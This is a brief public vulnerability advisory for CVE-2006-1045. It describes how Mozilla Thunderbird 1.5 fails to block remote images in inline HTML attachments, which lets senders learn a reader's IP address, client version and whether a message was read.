CVE-2006-1045
Description
The HTML rendering engine in Mozilla Thunderbird 1.5, when "Block loading of remote images in mail messages" is enabled, does not properly block external images from inline HTML attachments, which could allow remote attackers to obtain sensitive information, such as application version or IP address, when the user reads the email and the external image is accessed.

Mozilla Thunderbird 1.5 - Multiple Remote Information Disclosure Vulnerabilities
source: https://www.securityfocus.com/bid/16881/info
Mozilla Thunderbird is susceptible to multiple remote information-disclosure vulnerabilities. These issues are due to the application's failure to properly enforce the restriction for downloading remote content in email messages.
These issues allow remote attackers to gain access to potentially sensitive information, aiding them in further attacks. Attackers may also exploit these issues to know whether and when users read email messages.
Mozilla Thunderbird version 1.5 is vulnerable to these issues; other versions may also be affected.
